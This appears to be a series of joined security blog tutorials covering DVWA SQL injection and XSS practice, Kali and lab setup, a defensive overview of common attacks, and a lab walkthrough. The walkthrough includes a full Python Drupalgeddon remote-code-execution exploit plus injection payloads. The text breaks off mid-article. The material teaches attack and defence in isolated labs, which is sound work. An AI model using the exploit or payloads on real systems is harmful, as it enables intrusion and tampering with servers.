Greetings my fellow hackers! This will be a multi-part DVWA hacking tutorial covering many practical examples for exploiting vulnerabilities, gaining a foothold, and taking over the host.
So you’ve got DVWA up and running, you see some kind of a login page, and have no idea where to get started? Fear not! I’ve been where you are. In this multi-part DVWA hacking tutorial I will cover numerous techniques for a full takeover of DVWA. Throughout this tutorial you’ll learn many hacking techniques and if you follow along you will learn how to practice hacking as well.
Using This Tutorial
To follow along with this tutorial you will need an instance of DVWA up and running. If you still need to install DVWA check out our tutorial: How to install DVWA in Ubuntu
Before we get started, we need to talk about DVWA security levels. Since DVWA is a tool for learning about cybersecurity, the authors implemented “levels” of difficulty. A higher security level generally means you’ll have a harder time exploiting vulnerabilities. For these tutorials, unless otherwise noted, we will be using the LOW security level.
Once you get more comfortable finding and exploiting vulnerabilities, try again on a higher security level. You will most likely find you need to change tactics!
DVWA Security Levels
How many security levels are there in DVWA?
There are 4 security levels in DVWA. These range from LOW to IMPOSSIBLE and set the difficulty for attacking the application. The security levels also reveal how specific issues can be coded more securely.
LOW – This security level is completely vulnerable and has no security measures at all. It is meant to be an example of how web application vulnerabilities manifest through bad coding practices.
MED – This level is more difficult than low and illustrates bad security practices, where the developer has tried but failed to secure an application. This level will require more sophisticated exploitation techniques.
HIGH – This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of exploitation.
IMPOSSIBLE – This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
How do I change security levels in DVWA?
Login with the default user (admin/password) and select DVWA Security from the menu on the left. Select the desired security level, and click Save. A message will indicate the security level was changed.
After checking that the security level is set appropriately, we can begin. Lets get started with a classic and still effective attack: sql injection.
DVWA Hacking Tutorial: SQL Injection
A SQL injection vulnerability occurs when user input is not properly sanitized before being used to form a database query. This timeless comic describes the issue nicely!
There are more than a handful SQL injection vulnerabilities in DVWA. We will start with the more obvious one by selecting SQL Injection from the left hand menu.
Exploration
We are presented with a form field asking for a User ID. This page looks like some kind of utility for looking up user information. Let us enter a random user id and see what happens. Why don’t we start with 1?
DVWA SQL Injection
It looks like User ID 1 belongs to the admin user. This is good information to save for later, but for now we want to hack something! Based on the provided output we could speculate that the backend query might look something like this:
SELECT firstName, surname FROM users WHERE id='$id';
Of course we are just speculating on the names of the columns. We are more interested in the actual structure of the query.
Exploitation
Let’s see what happens when we enter the following in the user ID field instead. Note: Be sure to copy the trailing space after the comment indicator: —
' or 1=1; --
The results should look a little different this time!
DVWA SQL Injection
What just happened? The query now directly includes the user input. This makes the query end up actually looking like this:
SELECT firstName, surname FROM users WHERE id='' or 1=1; -- ';
Now the WHERE clause is looking for any rows that match the condition id=” (never true) OR 1=1 (always true). This causes the query to return all users on the application. By adding a comment to the end of our input we instruct the query processor to ignore the rest of the line so we don’t get an error because of the additional apostrophe.
We now have a complete user listing of all users. With this information, we could now launch additional attacks. For instance, we could iteratively test User ID values and match them to individual users.
With a little imagination, and a SQL injection vulnerability, there is no limit to the damage an attacker can do to a vulnerable system.
DVWA Hacking Tutorial: XSS
Cross Site Scripting (XSS) is a type of vulnerability that allows for the execution of Javascript (or other) code for cookie stealing, information scraping, and in extreme cases, hackers can use XSS to download malware without any action by the user.
Let us select the XSS (Reflected) module from the menu on the left. Then we will once again begin with a benign entry to figure out what the application is doing.
DVWA Cross Site Scripting (XSS)
It looks as though the application is displaying our input directly on the page! This is often the first clue to a XSS vulnerability. Now we can test if the application does any filtering on the input.
This time let us include a little Javascript this time and display an alert window with our cookie if we are successful.
<script>alert(document.cookie);</script>
Once again the application includes our input directly on the page. As a result, we should see an alert window pop-up with our PHPSESSID and security level cookies.
DVWA XSS alert with cookie
Next time it might not be so easy. Even poorly implemented XSS filters will often remove < and > or look specifically for <script> tags. Evasion of XSS filters is an art in itself. Check out the XSS filter evasion cheat sheet and try again on a higher security level.
Wrapping Up
Hopefully this introductory DVWA hacking tutorial has taught you a few basic techniques to use when starting a penetration testing exercise. Check back soon for part 2 of this DVWA hacking tutorial for more advanced techniques and attacks. Did this tutorial help you? Was it horrible? Let us know in the comments below!
Welcome back fellow hackers! Today we will show you how to install DVWA in Ubuntu. What is this DVWA? Why do I need it? Fear not, we will answer all your questions in time.
We often get the question from our readers: “what is the best way to practice hacking?” One of the best ways is through practice. That is where the Damn Vulnerable Web Application comes in. This is a nifty little web application that is, as the name implies, damn vulnerable. The application can be a little tricky for newcomers to install so we will show you how to install DVWA in Ubuntu. If you’re wondering how to install DVWA in Kali Linux you can follow these instructions as well. They should be similar enough for use on Kali. If you run into any issues feel free to leave us a comment below!
What is DVWA?
The Damn Vulnerable Web Application (DVWA) is a vulnerable web application designed for aspiring and experienced hackers alike to practice their skills and techniques. It is also a great tool for teaching about secure development practices.
Today we will show you how to install DVWA in Ubuntu so you can get started practicing your hacking skills.
Remember: Never expose your DVWA instance to the Internet! It is DAMN VULNERABLE and will be compromised!
How to Install DVWA in Ubuntu
Lets get right into it.
This tutorial assumes you have a fresh Ubuntu 20.04 LTS instance ready to go. If you don’t have an Ubuntu VM set up yet, check out our tutorial: How to build a virtual penetration testing lab
Make sure you have access to a user with sudo and lets get started!
First we will update the server. Then we will install the required packages:
Update and upgrade packages before starting to ensure everything is on the latest version.
Prepare the database
Now we need to perform the initial database set up.
sudo mysql_secure_installation
Answer yes to the prompts and be sure to set a root password.
Now we can create a database and user.
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'password';
Install the Application
After creating the database, we can download the DVWA source code. This is as simple as changing into the target directory and cloning the code from Github.
Next we will need to configure the application. This is as simple as copying the example configuration file, and changing the database connection parameters.
Now simply open the configuration file in your favorite text editor and update the database connection parameters with the username and password you created earlier.
After configuration, the application should be accessible in a web browser. Your IP may vary depending on how you access your VM or server.
http://192.168.1.120/
The last step is to run the database creation. This is as simple as clicking “Setup DVWA” in the upper left, and then clicking “Create / Reset Database”. After creating the database, the application is ready to go. Time to get to work!
Final Thoughts
Now that we’ve shown how to install DVWA in Ubuntu you should have a juicy target for practicing a variety of hacking techniques. You may want to browse the site using your regular web-browser and see if you notice any potential avenues of attack. Not sure where to start? You can use the default credentials of admin and password to access the application. Happy hacking!
Welcome back to our next tutorial. Today we will be creating a Kali Linux bootable USB. If you would install Kali Linux locally, check out our tutorial on Installing Kali Linux in VirtualBox.
Go ahead and start the download as it will take some time on slower connections. Grab the Kali Linux Live ISO from https://www.kali.org/downloads/.
Get the appropriate architecture for the target system. If you will be primarily using your USB thumb drive on 64-bit architectures you can grab the x86_64 version. If you are unsure you will usually be safe with the 32-bit (i386) version.
Once your download is complete we can go ahead and start the installation process. The instructions will vary slightly depending on your host OS.
Connect your USB thumb drive to the system and make sure it can store at least 4GB of data. Make a note of the drive letter that your drive uses once it mounts. In this example our USB is mounted as drive “F:\”.
Flash the ISO image with Etcher. Etcher is a free utility for burning ISO files to disk and USB. Simply select the ISO file you previously downloaded and the appropriate drive letter.
After the flashing process is complete, you can safely eject the USB and use it to boot Kali Linux.
Creating a Bootable Kali USB on Linux
Use fdisk -l from the command line to view the disks and their device paths. Now connect the USB drive and make sure it has at least 4GB of available space.
Run the fdisk -l command again and identify the newly added device name. You can also verify the size matches the approximate size of your USB thumb drive. Make sure you identify the correct device path for your USB. In our example we are using /dev/disk4. Other systems may show the device path as /dev/sdb or similar.
After triple checking that you have the correct device you can proceed to copy the ISO to the USB disk. Be careful when typing this command. dd is a powerful command especially when run as root! You can easily overwrite your primary disk if you enter the wrong device name.
This command copies our input file (if), kali-linux-2020.1b-live-amd64.iso to our output ‘file’ (of) /dev/disk4. The additional parameter bs instructs the dd command to copy in 4 megabyte chunks.
Note: The dd command can take quite some time depending on the performance of the USB thumb drive. Just be patient and wait for the command to complete. On some systems this process can take upwards of 30 minutes. You can press CTRL-T to see how many bytes dd has copied so far.
Creating a Bootable Kali USB on Mac OS
MacOS is a UNIX based operating system so the instructions for creating a bootable Kali USB on Mac OS are similar to the Linux instructions above.
Start by listing the disk devices available on the system with:
diskutil list
After making a note of the devices listed, plug in your USB thumb drive and repeat the process. You should see a new device in the list that matches the size of your USB drive. In our example our USB drive is available at /dev/disk2.
Now unmount the drive with diskutil:
diskutil unmountDisk /dev/disk2
And now CAREFULLY copy the Kali Linux ISO to the USB drive. Be careful with the dd command and double check that you have the correct device!
Copying the ISO takes time (up to half an hour on some systems) so be patient. Pressing CTRL-T will show how many bytes have been processed by dd so far. This can be used to estimate the time remaining.
Kali on the Go
Now that you have Kali Linux installed on a bootable USB it is up to you where to unleash this power. Theoretically you can boot Kali Linux on almost any machine you have physical access to. Physical access is a holy-grail during penetration testing as it spells almost immediate game-over for the defenders.
Welcome back to another informative article by SecuringNinja. Today we will explain the 7 most common types of cyber attacks that cyber criminals use everyday. Fear not, we will also share tips and tricks to protect against these types of cyber attacks.
Cyber criminals are continuously evolving their tactics and coming up with ever more creative ways to steal your personal information. Despite this constant evolution of tactics, there have been consistent trends in the types of attacks cyber criminals use.
The following 7 types of cyber attacks are some of the most common, and also the most dangerous.
Sounds scary right? Don’t worry. We are going to take a closer look at each type of attack, and show you some simple tricks for protecting yourself.
What is a phishing attack?
The first attack we will look at is a phishing attack. I’m sure you’ve already received quite a few phishing emails yourself, but lets take a look at what a phishing attack looks like.
A phishing attack is type of social engineering attack that cybercriminals use in order to extract information from you, or get you to take an action you normally would not take. This kind of attack typically begins with an email but may also come in the form of a phone call, or SMS message.
Example of a phishing attack.
The above example claims there is a picture of you on the linked website. Clicking the link leads to an innocent looking Twitter login form. Except this login form is actually controlled by the attackers. As soon as you submit your credentials the attackers can now login to your real Twitter account.
Cyber criminals will use a variety of psychological tricks to get you to click their link and enter your information. The example above is hoping to stir your curiosity enough that you just have to see this picture of you. Other techniques attempt to pressure you with a stressful situation, such as an impending account lock out.
While generalized phishing attacks hit almost everyone’s inbox at one point or another, there is another type of phishing attack that is much more difficult to detect.
Spear phishing attack
In a spear phishing attack, rather than sending generic phishing emails to a large mailing list of potential victims, cyber criminals will carefully research their target, their stressors, their personality, etc. and then send a very carefully crafted, and convincing, email to the victim.
Spear phishing attacks typically target individuals in high level positions such as the CEO or those with access to banking information.
Cyber criminals may also include information gathered from public sources, known as OSINT, to make the message that much more convincing. For example knowing that the CEO is currently traveling in Europe adds an extra layer of authenticity to the message.
How to protect against phishing attacks
Phishing attacks have only become more sophisticated and more difficult to detect over the years. However, there are still some common red flags that will identify phishing attempts.
Hover over links to check that they go where you expect.
Verify the sender and their email address.
Is this kind of request typical of this sender?
When in doubt call the sender and verify the request.
These simple tips will protect you against most common phishing attacks. Remember, security is a mind set and you must remain vigilant!
What is a man-in-the-middle attack?
A man-in-the-middle attack is a particularly nasty type of attack in which an attacker inserts themselves in the middle of your connection to a server. While you think you are communicating with facebook.com all of your traffic is actually being routed through a cybercriminals system allowing them to watch every action you take.
Example of a man-in-the-middle attack
A man-in-the-middle attack can be extremely dangerous because often times the user does not know they are communicating with the attacker and will happily enter their personal information.
Luckily there are a few simple measures you can take to protect yourself against a man-in-the-middle attack.
How to protect yourself against a man-in-the-middle attack
Prefer sites that offer HTTPS (look for the lock icon in your browser)
Use a VPN to send your traffic through an encrypted tunnel
Read and understand browser warnings!
Let us now look at each of these points in further detail. Beginning with step 1, you should always prefer sites that offer HTTPS. Most sites these days are secured with HTTPS so this is not as a big a problem as it once was. However server misconfigurations do occur so always check that a page is using HTTPS before entering sensitive information on a website.
HTTPS helps protect against man-in-the-middle attacks
While HTTPS encrypts the traffic between your computer and the web server, a VPN will encrypt all traffic leaving your computer and pass it through a VPN server in the cloud.
Read browser warnings!
Don’t just breeze through browser warnings! Your browser will warn you with a pretty obvious page if something is not quite right with the site’s SSL encryption (HTTPS).
Most of the time this occurs because the web administrator forgot to renew the certificate before the expiration date. The same warning can also occur when an attacker has inserted themselves in your connection and are using an invalid certificate. Ignoring the browser warning in this case would mean game-over for your privacy as the attacker can now see all your traffic as unencrypted plain-text.
While it is easy enough to see if a website is using an appropriate SSL certificate, the next attack requires a little bit more effort on the attacker’s part.
What is a SQL injection attack?
Any application or website that stores information from and about users will likely have some sort of database backend for storing information. Unfortunately, there are many poorly designed forms that do not properly sanitize user input. This can lead to attackers bypassing access checks (such as passwords) or even executing arbitrary commands on the server.
Let’s take a look at an example to see how a SQL injection attack works. For this example we’ll pretend we have a login form that accepts a username and password. If you want to follow along, make sure to download the SQL injection demo repository from Github.
Example SQL injection attack
Ordinarily when the user hits “Login” the application will take the field values, and execute a query that looks roughly like:
SELECT * FROM users
WHERE user_name LIKE ''
AND user_pass LIKE '';
Let us see what this looks like when we log in with our fictitious admin user. I say fictitious because surely no real admin has such a simple password…right?
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE 'adminpassword';
If we get a result we know that user account ‘admin’ exists, and the password is correct.
A malicious password
What happens when a malicious attacker tries to gain access to this form? The need for proper input sanitization should immediately apparent. We can completely bypass the password check with a simple specially crafted password:
' OR 1=1;--
Now our query becomes:
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE '' OR 1=1;-- ';
What happens now? The WHERE clause on the user_name will continue to function normally, but the real issue occurs when we check the password validity. Since the query OR 1=1; will always evaluate to TRUE, it does not matter what password is entered.
The addition of — after the end of our query is a SQL comment. Everything after the comment symbol is ignored. This is a handy trick for SQL injection attacks as it prevents any potential syntax errors with the rest of the query.
Preventing SQL injection with proper input sanitization
Obviously it is very bad news that the application executes any arbitrary SQL that is submitted. Luckily all it takes is a little of input sanitization and this problem can be alleviated. Sanitizing the previous malicious input gives us the following query:
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE '\' OR 1=1;-- ';
We see that our imaginary sanitization parser has escaped the leading quote. Now MySQL treats the input as a simple string. This is obviously a very simple example and there are many more ways to inject SQL.
This is exactly why user input sanitization is so important. What if the user wasn’t necessarily malicious? What if their username was d’angelo? How would the application handle that with sanitization.
A SQL injection attack depends on the application containing a specific vulnerability. The next type of attack however, can target nearly any kind of network device and unleash a massive headache for administrators.
Distributed denial of service: the nuclear option
A distributed denial of service (DDoS) attack attempts to disrupt the operation of a website or service by overloading the system’s capacity through a large volume of erroneous or irrelevant requests. Attackers will often use a botnet , or large network of compromised machines, to carry out the attack. This is where a distributed denial of service attack derives its name. This makes IP based black-listing difficult as the requests are coming from a vast number of different originating IP addresses.
A common protection method against DDoS attacks is to use a CDN that also provides DDoS mitigation such as CloudFlare. Using such a service they can detect and mitigate DDoS attacks as they occur. You may have even heard of the unprecedented DDoS attack carried out by IoT devices against krebsonsecurity.com in 2016. In this attack malicious actors targeted Brian’s site with 10’s of millions of compromised IoT devices, Tgenerating almost 620 Gbps of traffic!
Martin McKeay, Akamai’s senior security advocate, said the largest attack the company had seen previously clocked in earlier this year at 363 Gbps.
Overview of a distributed denial of service attack
What is a password attack?
Hackers may often come across leaked databases of usernames and password hashes. Attackers cannot login with these password hashes directly. With enough time and computing power however, persistent attackers can break the hashes and recover the original password. This then allows the hackers to login to the service that the password protects.
Another method is to attack the login form directly with good old fashioned brute force. Brute force is essentially guessing with the hopes of finding the correct password. Do not be fooled. Brute-force password guessing is still one of the most common ways that attackers compromise accounts.
Rather than trying ever single possible combination of characters, numbers, and symbols, attackers will often start with common password lists. These lists have been accumulated over a large number of breaches, and are often sorted to put the most common passwords towards the top. This significantly reduces the time it takes to crack any accounts using simple or default passwords. You can pretty much guarantee if your password is ‘password’ your account is already compromised.
Cross-site scripting (XSS) is when embedded code on one site can take within the users browser. Such an attack is often used to exploit the victim, or steal cookies allowing attackers to impersonate the victim.
Let us take a closer look at how a cross-site scripting attack works. XSS is what is known as a client site code-injection attack. This means that the code is run in the victims browser. But how does the code get there in the first place? Well, unfortunately many sites online today are vulnerable to XSS right now. Popular targets include discussion boards or forum sites. These sites often do not properly sanitize user input before displaying messages and comments. This is all good and well when you have properly behaving users that use only text and funny cat images. But what if an attacker decided to post a bunch of malicious Javascript code rather than a thoughtful comment? This code, if not properly sanitized, could run in the browser of any one that visits that page.
Preventing a cross-site scripting attack
Similar to a SQL injection attack, a cross-site scripting attack depends on a vulnerability in the application. Proper design practices and user input sanitization are key to preventing a cross-site scripting attack.
What is a ransomware attack?
In a ransomware attack a cyber criminal will attempt to infect a user’s machine using a malicious piece of software known as ransomware. Ransomware has quickly become one of the most dangerous and damaging types of cyber attacks in use today. Once installed the software will begin to encrypt the users’ files with a strong encryption algorithm. The ransomware leaves the operating system and vital drivers alone so that the machine will continue to operate. The software leaves a ransomnote for the user. The note usually informs the user that their files have been encrypted and they will need to pay a ransom in order to unlock their files.
Example of the ransom note displayed by WannaCry
Security researchers have found ways to reverse the encryption on many popular ransomware variants. Cyber criminals however are continuing to evolve their tactics on a daily basis and it takes time to decompile and analysis the ransomware in order to even attempt to begin decryption. The best method to protect yourself from ransomware is to maintain a good clean back up. This will allow you to restore your files and not need to pay the ransom.
Perpetuating the cycle
Paying the ransom perpetuates the cycle as cybercriminals will continue to develop ransomware as long as it is profitable.
That is why many security professionals have said that the best way to stop these types of cyber attacks is to not pay the ransom. If the money dries up extorting victims the cyber criminals will look to other methods to finance their activities.
Ransomware attacks focus on larger targets
Ransomware has also become a plight of many small businesses and small municipalities or local governments. These organizations usually have lower budgets for security and lower awareness overall. This makes them easy targets for cyber criminals who can now demand a higher ransom. An individual may consider their family photo collection priceless, but that doesn’t mean they have $10k to fork over to decrypt. A school district whose records were encrypted? Much more likely.
Staying safe. Staying cyber-secure.
While it may seem like an up-hill battle staying secure in today’s evolving threat landscape is all about the mindset. By learning about the most common types of cyber attacks you are arming yourself with the knowledge you need to protect yourself from cybercriminals. Be mindful of the information you give out, and always think about the potential security repercussions of your actions.
If you are interested in cybersecurity you may enjoy our other articles:
Today we cover how to install Kali Linux in Virtualbox on Mac.
In the tutorial below we explain all the steps needed to install Kali Linux in VirtualBox on a Mac. We also answer common questions and provide solutions to common problems people face while trying to install Kali Linux in VirtualBox on Mac. After today’s tutorial you will have a fully functioning penetration testing system running Kali Linux in VirtualBox.
Make sure you download the correct file for your virtual machine software. In this tutorial I will be using VirtualBox. I highly recommend using the Torrent download option. The download rates on the Offensive Security servers are rather limited. Downloading the whole 3GB file will take some time. Using the Torrent file allows you to connect to fast peers willing to host the download. Which ever route you choose wait for the download to complete and get VirtualBox set up while you are waiting for your download to complete.
Offensive Security Kali VirtualBox Download
Grab yourself a coffee and wait for that download to complete. Then we will import the appliance file into VirtualBox.
Import the Kali Linux appliance
The wonderful folks over at Offensive Security have been nice enough to package up a full VirtualBox appliance running Kali. The appliance file will take care of creating the virtual machine for us.
You may notice an .ova extension on the file you downloaded. The .ova extension is for virtual machine appliance files and is supported by many virtualization applications such as VirtualBox and VMWare.
After you finish downloading the file, open VirtualBox and select File > Import Appliance…
Import Kali Linux appliance in VirtualBox
Make sure the source is set to Local File System (assuming the downloaded file is on your machine). Then click the folder icon to navigate to the file you downloaded from Offensive Security and select Open.
VirtualBox appliance import screenSelect the Kali Linux virtual appliance file
After clicking Open VirtualBox will take a few moments to extract the file’s contents. After the import is complete you will be greeted with a window showing all of the appliance’s details. Take a moment to review these details and tweak anything you want.
Kali Linux appliance information screen
Once everything is satisfactory click Import. Kali Linux 2020 now requires accepting the Kali Linux Open Source license agreement. Click Agree and then wait for the import to complete. This should not take more than a few minutes on a decently powered system.
Kali Linux GPL v3 license agreementKali Linux VirtualBox import
Tweak the virtual machine
Feel free to fire up the virtual machine once the import is complete. Before that however, I would recommend tweaking a virtual machine settings. If you are like me and installed Kali Linux in VirtualBox on a Mac Book Pro with Retina Display then you will probably be greeted with a microscopic display. We’ll fix that next.
Lets start by selecting our newly created virtual machine in the list on the left. Click the Settings icon to bring up the virtual machine settings.
Adjust VirtualBox processor count
First click System and then Processor. I usually like to bump my processor count up to 4. If you have the cores available I definitely recommend allocating more.
Adjust VirtualBox RAM settings
Above all, let’s adjust the Motherboard settings. I like to increase the base memory allocation to 4096 MB (4GB). This makes for a slightly snappier interface especially if running the full desktop environment.
Adjust Kali Linux display settings for VirtualBox
After adjusting the virtual machine settings, fire up Kali and insert the guest additions. This part is crucial as it updates the virtual display drivers. The updated drivers give us much better control of the guest screen resolution. For instance we can take full advantage of the MacBook Pro’s retina display.
Install VirtualBox Guest Additions in Kali LinuxInsert Guest AdditionsCopy VBoxLinuxAddtions.run to DesktopOpen terminal, install as rootVirtualBox Guest Additions installed in Kali Linux
After installing the VirtualBox Guest Additions in Kali Linux reboot the VM to apply all of the changes. Then open the Kali Linux display settings. This is done by clicking the menu button in the upper left corner of the Kali desktop. Either search for Display or select Settings, then select Display.
Adjust Kali Linux display settings
In the display settings adjust the resolution to an acceptable value. It is important to note that while your display may be capable of 4000+ by 3000+ resolution, you may want to select a lower resolution such as 1920 by 1080. Although Kali Linux allows interface scaling to increase the interface size and maintain resolution, not all apps support this option. Many tools built on Java for example do not scale at all and this results in tiny unusable interfaces.
Change Kali Linux display resolution
Adjusting the VM display settings
Once you’ve lowered the resolution in Kali Linux the window may now be surrounded by a thick black border. If this is the case, go to the virtual machine settings (in VirtualBox) and select Display. Then adjust the scaling factor to 200%. This will make Kali Linux full screen again…and with readable text!
Adjust VirtualBox scaling factor
Kali Linux in VirtualBox
After tweaking the Kali and VirtualBox display settings, you should have a beautifully crisp installation of Kali Linux 2020 in VirtualBox on a Mac. Now you surely want to dive right in and start exploring. For instance, you may want to set up a vulnerable host and test some exploit tools.
Itching to hack something?
The best way to learn penetration testing is in a controlled environment specifically designed for exercising your penetration testing skills. You can get in loads of trouble ‘testing’ systems that don’t belong to you.
Metasploitable is an excellent vunerable virtual machine that you can set up alongside Kali Linux. This VM is loaded with security vulnerabilities to help expand your skillset. The tutorial below explains how to install Metasploitable in VirtualBox.
Before you deploy Metasploitable, you may want to consider setting up a virtual penetration testing lab. This gives you a controlled environment to test your skills. Now that you’ve completed this tutorial, you already have the Kali host set up. After that it is just a matter of adding 1 or 2 vulnerable VMs to your network to practice on. The tutorial below describes how to set up an isolated network for testing your skills.
As a penetration tester it is important to have a controlled environment in which to hone your skills and test new techniques. Testing on systems you do not own is illegal, even if it is just harmless curiosity. In this article I will show you how to build a virtual penetration testing lab using VirtualBox, Kali Linux, and Ubuntu.
In this lab you can test, and hack away without worrying about the men in black showing up at your door. Plus, in a virtual environment you can carefully monitor each system’s behavior during an attack giving you further insight into how an exploit compromises a system.
In addition, with a virtual network you can clone and snapshot instances with just a few clicks and easily create new pre-configured hosts. This allows you to try many different techniques in a short period of time, and always start from the same base configuration.
Below are the steps we will take to create the virtual penetration testing lab.
First, you will want to grab a copy of VirtualBox and run through the installation for your OS. VirtualBox is a fantastic virtualization tool and provides a rich feature set for operating virtual machines.
Our entire virtual penetration testing lab will be hosted in VirtualBox. This keeps the host system nice and tidy. Most PCs these days can easily support 2 or even 3 Linux guest VMs hosting a simple web server for example.
VirtualBox also provides snapshot capabilities allowing VM states to be stored and recalled with the click of a button.
Set up the Virtual Network
Once we’ve got VirtualBox installed we need a network for our machines to live on. To keep the lab isolated we will want the machines to be restricted to a dedicated private network. VirtualBox makes this easy with the NAT Network. With a NAT Network all of our lab machines can easily communicate with one another while also having NATed access to the Internet.
If you haven’t set up a NAT Network before read on below. It is a little different from the other VirtualBox networking options but I will show you how to set up a NAT Network in VirtualBox.
First you will need to create the network itself. This is done under VirtualBox > Preferences. Select the Network tab and then add a new network.
Double-clicking the newly created network allows you to configure the subnet IP range, the name of the network, and DHCP options. For now the defaults are fine but go ahead and rename the network if you wish.
I like the NAT Network option best as it provides each of the VMs with a NATed Internet connection. It also places each of the VMs on the same private network allowing our lab machines to easily communicate with one another. Now let us fill our penetration testing lab with some machines.
Create the Kali Host
Kali Linux is a fantastic distribution loaded with all sorts of penetration testing tools. I like to have a Kali host on my lab network either for launching attacks or fingerprinting hosts.
Kali is a breeze to install with the pre-made VirtualBox image. Follow our in-depth tutorial to Install Kali LInux in Virtual Box on Mac. Check that guide out if you need some extra help, otherwise the basic steps are listed below.
The downloaded file is a VirtualBox appliance file. After the download completes, open VirtualBox and select File> Import Appliance…
The default user for the appliance is root with a default password of toor.
Now let us add some targets to the lab network.
Build the Base Ubuntu Image
Ideally we want the virtual pentesting lab to be as re-useable as possible. I use VirtualBox appliances for this. An appliance packages up your virtual machine as a single file including all the machine settings and the current machine state. This appliance file can be imported as many times as needed to create a new virtual machine.
I use Ubuntu for this base machine. Ubuntu is widely supported, and an easily configured OS.
Lets start by setting up a base Ubuntu virtual machine, and then I will show you how to create an appliance out of it.
Download Ubuntu
Download the Ubuntu ISO. The minimal version is fine, but grab the standard version if you prefer a full graphical desktop.
Create the VM
While the ISO is donwloading create a new virtual machine.
Once the ISO has downloaded, insert it into the virtual machine.
Install Ubuntu
Start the VM and run through the Ubuntu installation process. For a base box most of the defaults are fine and give you a clean minimal Ubuntu installation.
There are plenty of installation tutorials available for Ubunut and VirtualBox so I won’t go into detail here. Google is your friend.
Remember, you’ll only have to step through this installation once!
Tweak the Machine
At this point you could stop and create an appliance. However you may also wish to perform a few more customizations for your base appliance.
For example, you could install your preferred text editor (mine’s vim!), install a default set of base packages, or just customize the shell prompt.
Export the Appliance
Once you have finished tweaking your base box it is time to export the appliance. This is as simple as File > Export Appliance. Tweak any options, and put this file somewhere for later.
Now whenever you need a new host in the lab, you can import this appliance. This will save you considerable time as you won’t have to go through the same initial configuration over and over for each host.
Hacking Drupal
That is pretty much all we need for a basic penetration testing lab. We have a master host for launching and monitoring attacks. We have also created a re-useable base appliance for easily creating test targets.
Now I will run through an example exploit using our new penetration testing lab. I will demonstrate one of the DrupalGeddon vulnerabilities that were discovered in early 2018. You may want to start by reading the analysis of the vulnerability.
For this example we will set up a base web server running a vulnerable Drupal installation.
We will then use a simple Python script on the Kali host and exploit the vulnerability.
Creating the Target Host
If you don’t have any Ubuntu VMs running, grab your appliance and spin up a new VM. Log in to your target virtual machine to begin the setup.
The Drupalgeddon vulnerability came out quite some time ago so we will need to install some repositories first.
Now we can install the Apache web server and the MySQL database
# Install Apache and MySQL
apt install apache2
apt install mysql-server
# Restart apache2
service apache2 restart
# Restart mysql
service mysql restart
# Secure mysql installation
mysql_secure_installation
Now let’s create the database and user.
# Use mysql command to enter the mysql console
mysql
# Then create the database and user
mysql> CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
mysql> CREATE USER username@localhost IDENTIFIED BY 'password';
mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON databasename.* TO 'username'@'localhost' IDENTIFIED BY 'password';
After we have installed the required packages, we can begin to install Drupal.
Simply download and extract the Drupal archive, and then pull up the site in a browser to complete the installation.
cd /var/www/html/
wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz
tar -xzvf drupal-7.57.tar.gz
cd /var/www/html/drupal-7.57/
cp sites/default/default.settings.php sites/default/settings.php
cd /var/www/html/
chown -R www-data:www-data drupal-7.57/
If you need the private IP of the server you can use the following command.
# Get the server private IP
ifconfig
Now navigate to the IP of your VM in a browser. You should be greeted by the Drupal installation page.
Once you reach the database configuration page, enter the database user details for the user you created earlier.
After the installer is complete you can check out your fresh new homepage.
If we check the status report, we can see that we are in fact running Drupal 7.57. Now let us have some fun with this!
Exploiting the Target
Now that we have a vulnerable target set up, let us get to work exploiting it.
The following is a simple Python script that will exploit the vulnerability and demonstrate remote code execution. Be sure to check out the vulnerability analysis if you aren’t sure how the script works.
This vulnerability gives us the ability to execute arbitrary code on the target server. We could use this to do some pretty nasty things, but lets just make a tiny modification to index.php.
The ‘shell_code’ variable holds the code that we are injecting into index.php. This is just a simple Javascript alert that will show any time the page is loaded. I’ll leave it up to you to see what else you can do with this vulnerability.
#!/usr/bin/python
import requests
import re
import base64
target='192.168.56.9/drupal-7.57'
shell_code = "echo \"<script>alert('Ouch. Time to patch. ');</script>\";"
encoded_cmd = base64.b64encode(shell_code)
bashcmd = "echo " + encoded_cmd + " | base64 -d >> index.php"
print bashcmd
target_url = '/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=' + bashcmd
payload = "form_id=user_pass&_triggering_element_name=name"
url = 'http://' + target + target_url
url = url.replace('#', '%23')
url = url.replace(' ', '+')
print url
headers = {'content-type': 'application/x-www-form-urlencoded'}
r = requests.post(url, headers=headers, data=payload)
body = r.text
# Extract form id from body
m = re.search('form_build_id" value="(form-.*)"', body)
form_build_id = m.group(1)
trigger_url = 'http://' + target + '/?q=file/ajax/name/#value/' + form_build_id
trigger_url = trigger_url.replace('#', '%23')
trigger_url = trigger_url.replace(' ', '+')
payload = "form_build_id=" + form_build_id
# Trigger the exploit
r = requests.post(trigger_url, headers=headers, data=payload)
Run the script and head on over to your browser. You should see the Javascript alert pop up when the page reloads.
And there you have it. We’ve just exploited Drupal in our virtual penetration testing lab.
Benefits of a Virtual Penetration Testing Lab
We’ve already covered how easy it is to create and snapshot hosts. We can also use Wireshark to monitor network traffic on our lab network.
To do this, open Wireshark on your host machine (the one running VirtualBox). After that, select the NAT Network you created (mine is named vboxnet0) from the available interfaces list.
Wireshark is a great tool for monitoring traffic in your virtual penetration testing lab.
Wireshark now shows you all the traffic passing between your lab machines. This is extremely useful when debugging an exploit, or assessing a vulnerability.
Something Extra
The best part of a virtual penetration testing lab is the versatility it provides.
Metasploitable2 is a vulnerable virtual machine that can easily be added to your lab.
In this article I go over how to install Metasploitable in VirtualBox. Metasploitable is a virtual machine with several intentional misconfigurations and vulnerabilities for you to exploit. This is a great tool for sharpening your penetration testing skills.
While you are waiting for the file to download you can start setting up the VM.
Create the VirtualBox VM
